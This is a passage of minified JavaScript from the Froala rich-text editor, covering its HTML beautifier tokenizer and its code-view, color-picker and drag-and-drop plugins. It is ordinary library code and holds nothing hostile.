this.tags[e+this.tags["".concat(e,"count")]],1===this.tags["".concat(e,"count")]?delete this.tags["".concat(e,"count")]:this.tags["".concat(e,"count")]--}},this.indent_to_tag=function(e){if(this.tags["".concat(e,"count")]){for(var t=this.tags.parent;t&&e+this.tags["".concat(e,"count")]!==t;)t=this.tags["".concat(t,"parent")];t&&(this.indent_level=this.tags[e+this.tags["".concat(e,"count")]])}},this.get_tag=function(e){var t,a,n="",r=[],i="",o=!1,s=!0,l=this.pos,c=this.line_char_count;e=e!==undefined&&e;do{if(this.pos>=this.input.length)return e&&(this.pos=l,this.line_char_count=c),r.length?r.join(""):["","TK_EOF"];if(n=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(n,this.Utils.whitespace))o=!0;else{if("'"!==n&&'"'!==n||(n+=this.get_unformatted(n),o=!0),"="===n&&(o=!1),r.length&&"="!=r[r.length-1]&&">"!=n&&o){if(this.space_or_wrap(r),o=!1,!s&&"force"===E&&"/"!=n){this.print_newline(!0,r),this.print_indentation(r);for(var d=0;d<_;d++)r.push(m)}for(var f=0;f<r.length;f++)if(" "===r[f]){s=!1;break}}if(b&&"<"===a&&n+this.input.charAt(this.pos)==="{{"&&(n+=this.get_unformatted("}}"),r.length&&" "!=r[r.length-1]&&"<"!=r[r.length-1]&&(n=" ".concat(n)),o=!0),"<"!==n||a||(t=this.pos-1,a="<"),b&&!a&&2<=r.length&&"{"===r[r.length-1]&&"{"===r[r.length-2]&&(t="#"===n||"/"===n||"!"===n?this.pos-3:this.pos-2,a="{"),this.line_char_count++,r.push(n),r[1]&&("!"===r[1]||"?"===r[1]||"%"===r[1])){r=[this.get_comment(t)];break}if(b&&r[1]&&"{"===r[1]&&r[2]&&"!"===r[2]){r=[this.get_comment(t)];break}if(b&&"{"===a&&2<r.length&&"}"===r[r.length-2]&&"}"===r[r.length-1])break}}while(">"!=n);var p,u,g=r.join("");p=-1!=g.indexOf(" ")?g.indexOf(" "):"{"===g[0]?g.indexOf("}"):g.indexOf(">"),u="<"!==g[0]&&b?"#"===g[2]?3:2:1;var h=g.substring(u,p).toLowerCase();return"/"===g.charAt(g.length-2)||this.Utils.in_array(h,this.Utils.single_token)?e||(this.tag_type="SINGLE"):b&&"{"===g[0]&&"else"===h?e||(this.indent_to_tag("if"),this.tag_type="HANDLEBARS_ELSE",this.indent_content=!0,this.traverse_whitespace()):this.is_unformatted(h,v)?(i=this.get_unformatted("</".concat(h,">"),g),r.push(i),this.pos,this.tag_type="SINGLE"):"script"===h&&(-1===g.search("type")||-1<g.search("type")&&-1<g.search(/\b(text|application)\/(x-)?(javascript|ecmascript|jscript|livescript)/))?e||(this.record_tag(h),this.tag_type="SCRIPT"):"style"===h&&(-1===g.search("type")||-1<g.search("type")&&-1<g.search("text/css"))?e||(this.record_tag(h),this.tag_type="STYLE"):"!"===h.charAt(0)?e||(this.tag_type="SINGLE",this.traverse_whitespace()):e||("/"===h.charAt(0)?(this.retrieve_tag(h.substring(1)),this.tag_type="END"):(this.record_tag(h),"html"!=h.toLowerCase()&&(this.indent_content=!0),this.tag_type="START"),this.traverse_whitespace()&&this.space_or_wrap(r),this.Utils.in_array(h,this.Utils.extra_liners)&&(this.print_newline(!1,this.output),this.output.length&&"\n"!=this.output[this.output.length-2]&&this.print_newline(!0,this.output))),e&&(this.pos=l,this.line_char_count=c),r.join("")},this.get_comment=function(e){var t="",a=">",n=!1;this.pos=e;var r=this.input.charAt(this.pos);for(this.pos++;this.pos<=this.input.length&&((t+=r)[t.length-1]!==a[a.length-1]||-1==t.indexOf(a));)!n&&t.length<10&&(0===t.indexOf("<![if")?(a="<![endif]>",n=!0):0===t.indexOf("<![cdata[")?(a="]]>",n=!0):0===t.indexOf("<![")?(a="]>",n=!0):0===t.indexOf("\x3c!--")?(a="--\x3e",n=!0):0===t.indexOf("{{!")?(a="}}",n=!0):0===t.indexOf("<?")?(a="?>",n=!0):0===t.indexOf("<%")&&(a="%>",n=!0)),r=this.input.charAt(this.pos),this.pos++;return t},this.get_unformatted=function(e,t){if(t&&-1!=t.toLowerCase().indexOf(e))return"";var a="",n="",r=0,i=!0;do{if(this.pos>=this.input.length)return n;if(a=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(a,this.Utils.whitespace)){if(!i){this.line_char_count--;continue}if("\n"===a||"\r"===a){n+="\n",this.line_char_count=0;continue}}n+=a,this.line_char_count++,i=!0,b&&"{"===a&&n.length&&"{"===n[n.length-2]&&(r=(n+=this.get_unformatted("}}")).length)}while(-1===n.toLowerCase().indexOf(e,r));return n},this.get_token=function(){var e;if("TK_TAG_SCRIPT"!==this.last_token&&"TK_TAG_STYLE"!==this.last_token)return"CONTENT"===this.current_mode?"string"!=typeof(e=this.get_content())?e:[e,"TK_CONTENT"]:"TAG"===this.current_mode?"string"!=typeof(e=this.get_tag())?e:[e,"TK_TAG_".concat(this.tag_type)]:void 0;var t=this.last_token.substr(7);return"string"!=typeof(e=this.get_contents_to(t))?e:[e,"TK_".concat(t)]},this.get_full_indent=function(e){return(e=this.indent_level+e||0)<1?"":new Array(e+1).join(this.indent_string)},this.is_unformatted=function(e,t){if(!this.Utils.in_array(e,t))return!1;if("a"!=e.toLowerCase()||!this.Utils.in_array("a",t))return!0;var a=(this.get_tag(!0)||"").match(/^\s*<\s*\/?([a-z]*)\s*[^>]*>\s*$/);return!(a&&!this.Utils.in_array(a,t))},this.printer=function(e,t,a,n,r){this.input=e||"",this.output=[],this.indent_character=t,this.indent_string="",this.indent_size=a,this.brace_style=r,this.indent_level=0,this.wrap_line_length=n;for(var i=this.line_char_count=0;i<this.indent_size;i++)this.indent_string+=this.indent_character;this.print_newline=function(e,t){this.line_char_count=0,t&&t.length&&(e||"\n"!=t[t.length-1])&&("\n"!=t[t.length-1]&&(t[t.length-1]=o(t[t.length-1])),t.push("\n"))},this.print_indentation=function(e){for(var t=0;t<this.indent_level;t++)e.push(this.indent_string),this.line_char_count+=this.indent_string.length},this.print_token=function(e){this.is_whitespace(e)&&!this.output.length||((e||""!==e)&&this.output.length&&"\n"===this.output[this.output.length-1]&&(this.print_indentation(this.output),e=function t(e){return e.replace(/^\s+/g,"")}(e)),this.print_token_raw(e))},this.print_token_raw=function(e){0<this.newlines&&(e=o(e)),e&&""!==e&&(1<e.length&&"\n"===e[e.length-1]?(this.output.push(e.slice(0,-1)),this.print_newline(!1,this.output)):this.output.push(e));for(var t=0;t<this.newlines;t++)this.print_newline(0<t,this.output);this.newlines=0},this.indent=function(){this.indent_level++},this.unindent=function(){0<this.indent_level&&this.indent_level--}},this}).printer(e,m,r,i,s);;){var p=a.get_token();if(a.token_text=p[0],a.token_type=p[1],"TK_EOF"===a.token_type)break;switch(a.token_type){case"TK_TAG_START":a.print_newline(!1,a.output),a.print_token(a.token_text),a.indent_content&&(a.indent(),a.indent_content=!1),a.current_mode="CONTENT";break;case"TK_TAG_STYLE":case"TK_TAG_SCRIPT":a.print_newline(!1,a.output),a.print_token(a.token_text),a.current_mode="CONTENT";break;case"TK_TAG_END":if("TK_CONTENT"===a.last_token&&""===a.last_text){var u=a.token_text.match(/\w+/)[0],g=null;a.output.length&&(g=a.output[a.output.length-1].match(/(?:<|{{#)\/?\s*(\w+)/)),(null===g||g[1]!=u&&!a.Utils.in_array(g[1],v))&&a.print_newline(!1,a.output)}a.print_token(a.token_text),a.current_mode="CONTENT";break;case"TK_TAG_SINGLE":var h=a.token_text.match(/^\s*<([a-z-]+)/i);h&&a.Utils.in_array(h[1],v)||a.print_newline(!1,a.output),a.print_token(a.token_text),a.current_mode="CONTENT";break;case"TK_TAG_HANDLEBARS_ELSE":a.print_token(a.token_text),a.indent_content&&(a.indent(),a.indent_content=!1),a.current_mode="CONTENT";break;case"TK_TAG_HANDLEBARS_COMMENT":case"TK_CONTENT":a.print_token(a.token_text),a.current_mode="TAG";break;case"TK_STYLE":case"TK_SCRIPT":if(""!==a.token_text){a.print_newline(!1,a.output);var w=a.token_text,y=void 0,A=1;"TK_SCRIPT"===a.token_type?y=x:"TK_STYLE"===a.token_type&&(y=L),"keep"===t.indent_scripts?A=0:"separate"===t.indent_scripts&&(A=-a.indent_level);var C=a.get_full_indent(A);if(y)w=y(w.replace(/^\s*/,C),t);else{var T=w.match(/^\s*/)[0].match(/[^\n\r]*$/)[0].split(a.indent_string).length-1,k=a.get_full_indent(A-T);w=w.replace(/^\s*/,C).replace(/\r\n|\r|\n/g,"\n"+k).replace(/\s+$/,"")}w&&(a.print_token_raw(w),a.print_newline(!0,a.output))}a.current_mode="TAG";break;default:""!==a.token_text&&a.print_token(a.token_text)}a.last_token=a.token_type,a.last_text=a.token_text}var S=a.output.join("").replace(/[\r\n\t ]+$/,"");return d&&(S+="\n"),S}}},Object.assign(St.DEFAULTS,{codeMirror:window.CodeMirror,codeMirrorOptions:{lineNumbers:!0,tabMode:"indent",indentWithTabs:!0,lineWrapping:!0,mode:"text/html",tabSize:2},codeBeautifierOptions:{end_with_newline:!0,indent_inner_html:!0,extra_liners:["p","h1","h2","h3","h4","h5","h6","blockquote","pre","ul","ol","table","dl"],brace_style:"expand",indent_char:"\t",indent_size:1,wrap_line_length:0},codeViewKeepActiveButtons:["fullscreen"]}),St.PLUGINS.codeView=function(c){var d,f,p=c.$,u=function u(){return c.$box.hasClass("fr-code-view")};function g(){return f?f.getValue():d.val()}function h(){u()&&(f&&f.setSize(null,c.opts.height?c.opts.height:"auto"),c.opts.heightMin||c.opts.height?(c.$box.find(".CodeMirror-scroll, .CodeMirror-gutters").css("min-height",c.opts.heightMin||c.opts.height),d.css("height",c.opts.height)):c.$box.find(".CodeMirror-scroll, .CodeMirror-gutters").css("min-height",""))}var m,v=!1;function b(){u()&&c.events.trigger("blur")}function E(){u()&&v&&c.events.trigger("focus")}function n(e){d||(!function l(){d=p('<textarea class="fr-code" tabIndex="-1">'),c.$wp.append(d),d.attr("dir",c.opts.direction),c.$box.hasClass("fr-basic")||(m=p('<a data-cmd="html" title="Code View" class="fr-command fr-btn html-switch'.concat(c.helpers.isMobile()?"":" fr-desktop",'" role="button" tabIndex="-1"><i class="fa fa-code"></i></button>')),c.$box.append(m),c.events.bindClick(c.$box,"a.html-switch",function(){c.events.trigger("commands.before",["html"]),_(!1),c.events.trigger("commands.after",["html"])}));var e=function e(){return!u()};c.events.on("buttons.refresh",e),c.events.on("copy",e,!0),c.events.on("cut",e,!0),c.events.on("paste",e,!0),c.events.on("destroy",w,!0),c.events.on("html.set",function(){u()&&_(!0)}),c.events.on("codeView.update",h),c.events.on("codeView.toggle",function(){c.$box.hasClass("fr-code-view")&&_()}),c.events.on("form.submit",function(){u()&&(c.html.set(g()),c.events.trigger("contentChanged",[],!0))},!0)}(),!f&&c.opts.codeMirror?((f=c.opts.codeMirror.fromTextArea(d.get(0),c.opts.codeMirrorOptions)).on("blur",b),f.on("focus",E)):(c.events.$on(d,"keydown keyup change input",function(){c.opts.height?this.removeAttribute("rows"):(this.rows=1,0===this.value.length?this.style.height="auto":this.style.height="".concat(this.scrollHeight,"px"))}),c.events.$on(d,"blur",b),c.events.$on(d,"focus",E))),c.undo.saveStep(),c.html.cleanEmptyTags(),c.html.cleanWhiteTags(!0),c.core.hasFocus()&&(c.core.isEmpty()||(c.selection.save(),c.$el.find('.fr-marker[data-type="true"]').first().replaceWith('<span class="fr-tmp fr-sm">F</span>'),c.$el.find('.fr-marker[data-type="false"]').last().replaceWith('<span class="fr-tmp fr-em">F</span>')));var t=c.html.get(!1,!0);c.$el.find("span.fr-tmp").remove(),c.$box.toggleClass("fr-code-view",!0);var a,n,r=!1;if(c.core.hasFocus()&&(r=!0,c.events.disableBlur(),c.$el.blur()),t=(t=t.replace(/<span class="fr-tmp fr-sm">F<\/span>/,"FROALA-SM")).replace(/<span class="fr-tmp fr-em">F<\/span>/,"FROALA-EM"),c.codeBeautifier&&!t.includes("fr-embedly")&&(t=c.codeBeautifier.run(t,c.opts.codeBeautifierOptions)),f){a=t.indexOf("FROALA-SM"),(n=t.indexOf("FROALA-EM"))<a?a=n:n-=9;var i=(t=t.replace(/FROALA-SM/g,"").replace(/FROALA-EM/g,"")).substring(0,a).length-t.substring(0,a).replace(/\n/g,"").length,o=t.substring(0,n).length-t.substring(0,n).replace(/\n/g,"").length;a=t.substring(0,a).length-t.substring(0,t.substring(0,a).lastIndexOf("\n")+1).length,n=t.substring(0,n).length-t.substring(0,t.substring(0,n).lastIndexOf("\n")+1).length,f.setSize(null,c.opts.height?c.opts.height:"auto"),c.opts.heightMin&&c.$box.find(".CodeMirror-scroll").css("min-height",c.opts.heightMin),f.setValue(t),v=!r,f.focus(),v=!0,f.setSelection({line:i,ch:a},{line:o,ch:n}),f.refresh(),f.clearHistory()}else{a=t.indexOf("FROALA-SM"),n=t.indexOf("FROALA-EM")-9,c.opts.heightMin&&d.css("min-height",c.opts.heightMin),c.opts.height&&d.css("height",c.opts.height),c.opts.heightMax&&d.css("max-height",c.opts.height||c.opts.heightMax),d.val(t.replace(/FROALA-SM/g,"").replace(/FROALA-EM/g,"")).trigger("change");var s=p(c.o_doc).scrollTop();v=!r,d.focus(),v=!0,d.get(0).setSelectionRange(a,n),p(c.o_doc).scrollTop(s)}c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(e).filter(function(){return c.opts.codeViewKeepActiveButtons.indexOf(p(this).data("cmd"))<0}).addClass("fr-disabled").attr("aria-disabled",!0),e.addClass("fr-active").attr("aria-pressed",!0),!c.helpers.isMobile()&&c.opts.toolbarInline&&c.toolbar.hide()}function _(e){void 0===e&&(e=!u());var t=c.$tb.find('.fr-command[data-cmd="html"]');e?(c.popups.hideAll(),n(t)):(c.$box.toggleClass("fr-code-view",!1),function a(e){var t=g();c.html.set(t),c.$el.blur(),c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command, .fr-btn-grp > .fr-btn-wrap > .fr-command, .fr-more-toolbar > .fr-btn-wrap > .fr-command").not(e).removeClass("fr-disabled").attr("aria-disabled",!1),e.removeClass("fr-active").attr("aria-pressed",!1),c.selection.setAtStart(c.el),c.selection.restore(),c.placeholder.refresh(),c.undo.saveStep()}(t),c.events.trigger("codeView.update"))}function w(){u()&&_(!1),f&&f.toTextArea(),d.val("").removeData().remove(),d=null,m&&(m.remove(),m=null)}return{_init:function e(){if(c.events.on("focus",function(){c.opts.toolbarContainer&&function t(){var e=c.$tb.find('.fr-command[data-cmd="html"]');u()?(c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(e).filter(function(){return c.opts.codeViewKeepActiveButtons.indexOf(p(this).data("cmd"))<0}).addClass("fr-disabled").attr("aria-disabled",!1),e.addClass("fr-active").attr("aria-pressed",!1)):(c.$tb.find(".fr-btn-grp > .fr-command, .fr-more-toolbar > .fr-command").not(e).removeClass("fr-disabled").attr("aria-disabled",!1),e.removeClass("fr-active").attr("aria-pressed",!1))}()}),!c.$wp)return!1},toggle:_,isActive:u,get:g}},St.RegisterCommand("html",{title:"Code View",undo:!1,focus:!1,forcedRefresh:!0,toggle:!0,callback:function(){this.codeView.toggle()},plugin:"codeView"}),St.DefineIcon("html",{NAME:"code",SVG_KEY:"codeView"}),Object.assign(St.POPUP_TEMPLATES,{"textColor.picker":"[_BUTTONS_][_TEXT_COLORS_][_CUSTOM_COLOR_]","backgroundColor.picker":"[_BUTTONS_][_BACKGROUND_COLORS_][_CUSTOM_COLOR_]"}),Object.assign(St.DEFAULTS,{colorsText:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],colorsBackground:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],colorsStep:7,colorsHEXInput:!0,colorsButtons:["colorsBack","|","-"]}),St.PLUGINS.colors=function(m){var v=m.$,s='<div class="fr-color-hex-layer fr-active fr-layer" id="fr-color-hex-layer- \n '.concat(m.id,'"><div class="fr-input-line"><input maxlength="7" id="[ID]"\n type="text" placeholder="').concat(m.language.translate("HEX Color"),'" \n tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button \n type="button" class="fr-command fr-submit" data-cmd="[COMMAND]" tabIndex="2" role="button">\n ').concat(m.language.translate("OK"),"</button></div></div>");function l(e){for(var t="text"===e?m.opts.colorsText:m.opts.colorsBackground,a='<div class="fr-color-set fr-'.concat(e,'-color fr-selected-set">'),n=0;n<t.length;n++)0!==n&&n%m.opts.colorsStep==0&&(a+="<br>"),"REMOVE"!==t[n]?a+='<span class="fr-command fr-select-color" style="background:'.concat(t[n],';" \n tabIndex="-1" aria-selected="false" role="button" data-cmd="apply').concat(e,'Color" \n data-param1="').concat(t[n],'"><span class="fr-sr-only"> ').concat(m.language.translate("Color")).concat(t[n]," \n </span></span>"):a+='<span class="fr-command fr-select-color" data-cmd="apply'.concat(e,'Color"\n tabIndex="-1" role="button" data-param1="REMOVE" \n title="').concat(m.language.translate("Clear Formatting"),'">').concat(m.icon.create("remove"),' \n <span class="fr-sr-only"> ').concat(m.language.translate("Clear Formatting")," </span></span>");return"".concat(a,"</div>")}function c(e){var t,a=m.popups.get("".concat(e,"Color.picker")),n=v(m.selection.element());t="background"===e?"background-color":"color";var r=a.find(".fr-".concat(e,"-color .fr-select-color"));for(r.find(".fr-selected-color").remove(),r.removeClass("fr-active-item"),r.not('[data-param1="REMOVE"]').attr("aria-selected",!1);n.get(0)!==m.el;){if("transparent"!==n.css(t)&&"rgba(0, 0, 0, 0)"!==n.css(t)){var i=a.find(".fr-".concat(e,'-color .fr-select-color[data-param1="').concat(m.helpers.RGBToHex(n.css(t)),'"]'));i.append('<span class="fr-selected-color" aria-hidden="true">\uf00c</span>'),i.addClass("fr-active-item").attr("aria-selected",!0);break}n=n.parent()}!function o(e){var t=m.popups.get("".concat(e,"Color.picker")),a=t.find(".fr-".concat(e,"-color .fr-active-item")).attr("data-param1"),n=t.find(".fr-color-hex-layer input");a||(a="");n.length&&v(n.val(a).input).trigger("change")}(e)}function n(e){"REMOVE"!==e?m.format.applyStyle("background-color",m.helpers.HEXtoRGB(e)):m.format.removeStyle("background-color"),m.popups.hide("backgroundColor.picker")}function r(e){"REMOVE"!==e?m.format.applyStyle("color",m.helpers.HEXtoRGB(e)):m.format.removeStyle("color"),m.popups.hide("textColor.picker")}return{showColorsPopup:function d(e){var t=m.$tb.find('.fr-command[data-cmd="'.concat(e,'"]')),a=m.popups.get("".concat(e,".picker"));if(a||(a=function o(e){var t="";m.opts.toolbarInline&&0<m.opts.colorsButtons.length&&(t+='<div class="fr-buttons fr-colors-buttons fr-tabs">\n '.concat(m.button.buildList(m.opts.colorsButtons),"\n </div>"));var a,n="";a="textColor"===e?(m.opts.colorsHEXInput&&(n=s.replace(/\[ID\]/g,"fr-color-hex-layer-text-".concat(m.id)).replace(/\[COMMAND\]/g,"customTextColor")),{buttons:t,text_colors:l("text"),custom_color:n}):(m.opts.colorsHEXInput&&(n=s.replace(/\[ID\]/g,"fr-color-hex-layer-background-".concat(m.id)).replace(/\[COMMAND\]/g,"customBackgroundColor")),{buttons:t,background_colors:l("background"),custom_color:n});var r=m.popups.create("".concat(e,".picker"),a);return function i(g,h){m.events.on("popup.tab",function(e){var t=v(e.currentTarget);if(!m.popups.isVisible(h)||!t.is("span"))return!0;var a=e.which,n=!0;if(St.KEYCODE.TAB===a){var r=g.find(".fr-buttons");n=!m.accessibility.focusToolbar(r,!!e.shiftKey)}else if(St.KEYCODE.ARROW_UP===a||St.KEYCODE.ARROW_DOWN===a||St.KEYCODE.ARROW_LEFT===a||St.KEYCODE.ARROW_RIGHT===a){if(t.is("span.fr-select-color")){var i=t.parent().find("span.fr-select-color"),o=i.index(t),s=m.opts.colorsStep,l=Math.floor(i.length/s),c=o%s,d=Math.floor(o/s),f=d*s+c,p=l*s;St.KEYCODE.ARROW_UP===a?f=((f-s)%p+p)%p:St.KEYCODE.ARROW_DOWN===a?f=(f+s)%p:St.KEYCODE.ARROW_LEFT===a?f=((f-1)%p+p)%p:St.KEYCODE.ARROW_RIGHT===a&&(f=(f+1)%p);var u=v(i.get(f));m.events.disableBlur(),u.focus(),n=!1}}else St.KEYCODE.ENTER===a&&(m.button.exec(t),n=!1);return!1===n&&(e.preventDefault(),e.stopPropagation()),n},!0)}(r,"".concat(e,".picker")),r}(e)),!a.hasClass("fr-active"))if(m.popups.setContainer("".concat(e,".picker"),m.$tb),c("textColor"===e?"text":"background"),t.isVisible()){var n=m.button.getPosition(t),r=n.left,i=n.top;m.popups.show("".concat(e,".picker"),r,i,t.outerHeight())}else m.position.forSelection(a),m.popups.show("".concat(e,".picker"))},background:n,customColor:function i(e){var t=m.popups.get("".concat(e,"Color.picker")).find(".fr-color-hex-layer input");if(t.length){var a=t.val();"background"===e?n(a):r(a)}},text:r,back:function e(){m.popups.hide("textColor.picker"),m.popups.hide("backgroundColor.picker"),m.toolbar.showInline()}}},St.DefineIcon("textColor",{NAME:"tint",SVG_KEY:"textColor"}),St.RegisterCommand("textColor",{title:"Text Color",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("textColor.picker")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("textColor.picker")):this.colors.showColorsPopup("textColor")}}),St.RegisterCommand("applytextColor",{undo:!0,callback:function(e,t){this.colors.text(t)}}),St.RegisterCommand("customTextColor",{title:"OK",undo:!0,callback:function(){this.colors.customColor("text")}}),St.DefineIcon("backgroundColor",{NAME:"paint-brush",SVG_KEY:"backgroundColor"}),St.RegisterCommand("backgroundColor",{title:"Background Color",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("backgroundColor.picker")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("backgroundColor.picker")):this.colors.showColorsPopup("backgroundColor")}}),St.RegisterCommand("applybackgroundColor",{undo:!0,callback:function(e,t){this.colors.background(t)}}),St.RegisterCommand("customBackgroundColor",{title:"OK",undo:!0,callback:function(){this.colors.customColor("background")}}),St.DefineIcon("colorsBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("colorsBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.colors.back()}}),St.DefineIcon("remove",{NAME:"eraser",SVG_KEY:"remove"}),Object.assign(St.DEFAULTS,{dragInline:!0}),St.PLUGINS.draggable=function(d){var f=d.$;function e(e){return!(!e.originalEvent||!e.originalEvent.target||e.originalEvent.target.nodeType!==Node.TEXT_NODE)||(e.target&&"A"===e.target.tagName&&1===e.target.childNodes.length&&"IMG"===e.target.childNodes[0].tagName&&(e.target=e.target.childNodes[0]),f(e.target).hasClass("fr-draggable")?(d.undo.canDo()||d.undo.saveStep(),d.opts.dragInline?d.$el.attr("contenteditable",!0):d.$el.attr("contenteditable",!1),d.opts.toolbarInline&&d.toolbar.hide(),f(e.target).addClass("fr-dragging"),d.browser.msie||d.browser.edge||d.selection.clear(),void e.originalEvent.dataTransfer.setData("text","Froala")):(e.preventDefault(),!1))}var p,u=function u(e){return!(e&&("HTML"===e.tagName||"BODY"===e.tagName||d.node.isElement(e)))};function g(e,t,a){if(d.opts.iframe){var n=d.helpers.getPX(d.$wp.find(".fr-iframe").css("padding-top")),r=d.helpers.getPX(d.$wp.find(".fr-iframe").css("padding-left"));e+=d.$iframe.offset().top+n,t+=d.$iframe.offset().left+r}p.offset().top!==e&&p.css("top",e),p.offset().left!==t&&p.css("left",t),p.width()!==a&&p.css("width",a)}function t(e){e.originalEvent.dataTransfer.dropEffect="move",d.opts.dragInline?(!function a(){for(var e=null,t=0;t<St.INSTANCES.length;t++)if((e=St.INSTANCES[t].$el.find(".fr-dragging")).length)return e.get(0)}()||d.browser.msie||d.browser.edge)&&e.preventDefault():(e.preventDefault(),function c(e){var t=d.doc.elementFromPoint(e.originalEvent.pageX-d.win.pageXOffset,e.originalEvent.pageY-d.win.pageYOffset);if(!u(t)){for(var a=0,n=t;!u(n)&&n===t&&0<e.originalEvent.pageY-d.win.pageYOffset-a;)a++,n=d.doc.elementFromPoint(e.originalEvent.pageX-d.win.pageXOffset,e.originalEvent.pageY-d.win.pageYOffset-a);(!u(n)||p&&0===d.$el.find(n).length&&n!==p.get(0))&&(n=null);for(var r=0,i=t;!u(i)&&i===t&&e.originalEvent.pageY-d.win.pageYOffset+r<f(d.doc).height();)r++,i=d.doc.elementFromPoint(e.originalEvent.pageX-d.win.pageXOffset,e.originalEvent.pageY-d.win.pageYOffset+r);(!u(i)||p&&0===d.$el.find(i).length&&i!==p.get(0))&&(i=null),t=null===i&&n?n:i&&null===n?i:i&&n?a<r?n:i:null}if(f(t).hasClass("fr-drag-helper"))return!1;if(t&&!d.node.isBlock(t)&&(t=d.node.blockParent(t)),t&&0<=["TD","TH","TR","THEAD","TBODY"].indexOf(t.tagName)&&(t=f(t).parents("table").get(0)),t&&0<=["LI"].indexOf(t.tagName)&&(t=f(t).parents("UL, OL").get(0)),t&&!f(t).hasClass("fr-drag-helper")){var o;p||(St.$draggable_helper||(St.$draggable_helper=f(document.createElement("div")).attr("class","fr-drag-helper")),p=St.$draggable_helper,d.events.on("shared.destroy",function(){p.html("").removeData().remove(),p=null},!0)),o=e.originalEvent.pageY<f(t).offset().top+f(t).outerHeight()/2;var s=f(t),l=0;o||0!==s.next().length?(o||(s=s.next()),"before"===p.data("fr-position")&&s.is(p.data("fr-tag"))||(0<s.prev().length&&(l=parseFloat(s.prev().css("margin-bottom"))||0),l=Math.max(l,parseFloat(s.css("margin-top"))||0),g(s.offset().top-l/2-d.$box.offset().top,s.offset().left-d.win.pageXOffset-d.$box.offset().left,s.width()),p.data("fr-position","before"))):"after"===p.data("fr-position")&&s.is(p.data("fr-tag"))||(l=parseFloat(s.css("margin-bottom"))||0,g(s.offset().top+f(t).height()+l/2-d.$box.offset().top,s.offset().left-d.win.pageXOffset-d.$box.offset().left,s.width()),p.data("fr-position","after")),p.data("fr-tag",s),p.addClass("fr-visible"),d.$box.append(p)}else p&&0<d.$box.find(p).length&&p.removeClass("fr-visible")}(e))}function a(e){e.originalEvent.dataTransfer.dropEffect="move",d.opts.dragInline||e.preventDefault()}function n(e){d.$el.attr("contenteditable",!0);var t=d.$el.find(".fr-dragging");p&&p.hasClass("fr-visible")&&d.$box.find(p).length?r(e):t.length&&(e.preventDefault(),e.stopPropagation()),p&&d.$box.find(p).length&&p.removeClass("fr-visible"),t.removeClass("fr-dragging")}function r(e){var t,a;d.$el.attr("contenteditable",!0);for(var n=0;n<St.INSTANCES.length;n++)if((t=St.INSTANCES[n].$el.find(".fr-dragging")).length){a=St.INSTANCES[n];break}if(t.length){if(e.preventDefault(),e.stopPropagation(),p&&p.hasClass("fr-visible")&&d.$box.find(p).length)p.data("fr-tag")[p.data("fr-position")]('<span class="fr-marker"></span>'),p.removeClass("fr-visible");else if(!1===d.markers.insertAtPoint(e.originalEvent))return!1;if(t.removeClass("fr-dragging"),!1===(t=d.events.chainTrigger("element.beforeDrop",t)))return!1;var r=t;if(t.parent().is("A")&&1===t.parent().get(0).childNodes.length&&(r=t.parent()),d.core.isEmpty())d.events.focus();else d.$el.find(".fr-marker").replaceWith(St.MARKERS),d.selection.restore();if(a===d||d.undo.canDo()||d.undo.saveStep(),d.core.isEmpty())d.$el.html(r);else{var i=d.markers.insert();(d||"").selection&&r.contains(i)&&r.before(i),0===r.find(i).length?f(i).replaceWith(r):0===t.find(i).length&&f(i).replaceWith(t),t.after(St.MARKERS),d.selection.restore()}return d.popups.hideAll(),d.selection.save(),d.$el.find(d.html.emptyBlockTagsQuery()).not("TD, TH, LI, .fr-inner").not(d.opts.htmlAllowedEmptyTags.join(",")).remove(),d.html.wrap(),d.html.fillEmptyBlocks(),d.selection.restore(),d.undo.saveStep(),d.opts.iframe&&d.size.syncIframe(),a!==d&&(a.popups.hideAll(),a.$el.find(a.html.emptyBlockTagsQuery()).not("TD, TH, LI, .fr-inner").remove(),a.html.wrap(),a.html.fillEmptyBlocks(),a.undo.saveStep(),a.events.trigger("element.dropped"),a.opts.iframe&&a.size.syncIframe()),d.events.trigger("element.dropped",[r]),!1}p&&p.removeClass("fr-visible"),d.undo.canDo()||d.undo.saveStep(),setTimeout(function(){d.undo.saveStep()},0)}function i(e){if(e&&"DIV"===e.tagName&&d.node.hasClass(e,"fr-drag-helper"))e.parentNode.removeChild(e);else if(e&&e.nodeType===Node.ELEMENT_NODE)for(var t=e.querySelectorAll("div.fr-drag-helper"),a=0;a<t.length;a++)t[a].parentNode.removeChild(t[a])}return{_init:function o(){d.opts.enter===St.ENTER_BR&&(d.opts.dragInline=!0),d.events.on("dragstart",e,!0),d.events.on("dragover",t,!0),d.events.on("dragenter",a,!0),d.events.on("document.dragend",n,!0),d.events.on("document.drop",n,!0),d.events.on("drop",r,!0),d.events.on("html.processGet",i)}}},Object.assign(St.DEFAULTS,{editInPopup:!1}),St.MODULES.editInPopup=function(n){function e(){n.events.$on(n.$el,n._mouseup,function(){setTimeout(function(){!function a(){var 